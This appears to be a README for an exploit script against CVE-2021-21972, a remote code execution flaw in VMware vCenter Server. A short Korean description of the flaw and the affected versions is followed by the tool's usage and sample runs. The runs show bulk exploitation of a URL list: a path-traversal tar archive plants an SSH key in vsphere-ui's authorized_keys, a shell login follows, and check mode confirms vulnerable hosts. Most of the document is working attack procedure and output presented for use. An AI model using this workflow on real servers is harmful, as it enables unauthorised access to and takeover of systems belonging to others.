
CVE-2021-21972
vSphere Client(HTML5)에는 vCenter Server 플러그인의 원격 코드 실행 취약점이 있습니다. 포트 443에 대한 네트워크 액세스 권한을 가진 악의적인 행위자는 이 문제를 악용하여 vCenter Server를 호스팅하는 기반 운영 체제에서 무제한 권한으로 명령을 실행할 수 있습니다. 이 취약점은 VMware vCenter Server(7.0 U1c 이전의 7.x, 6.7 U3l 이전의 6.7 및 6.5 U3n 이전의 6.5)와 VMware Cloud Foundation(4.2 이전의 4.x 및 3.10.1.2 이전의 3.x)에 영향을 미칩니다.
% python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]
Options:
-h, --help show this help message and exit
-i FILE file containing list of urls
-u URL, --url=URL https://1.1.1.1
-f FILENAME
-n NOOFTHREADS
-e, --exploit
-c, --check
%
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS
Login using 'ssh -i id_rsa [email protected]'
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1 -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972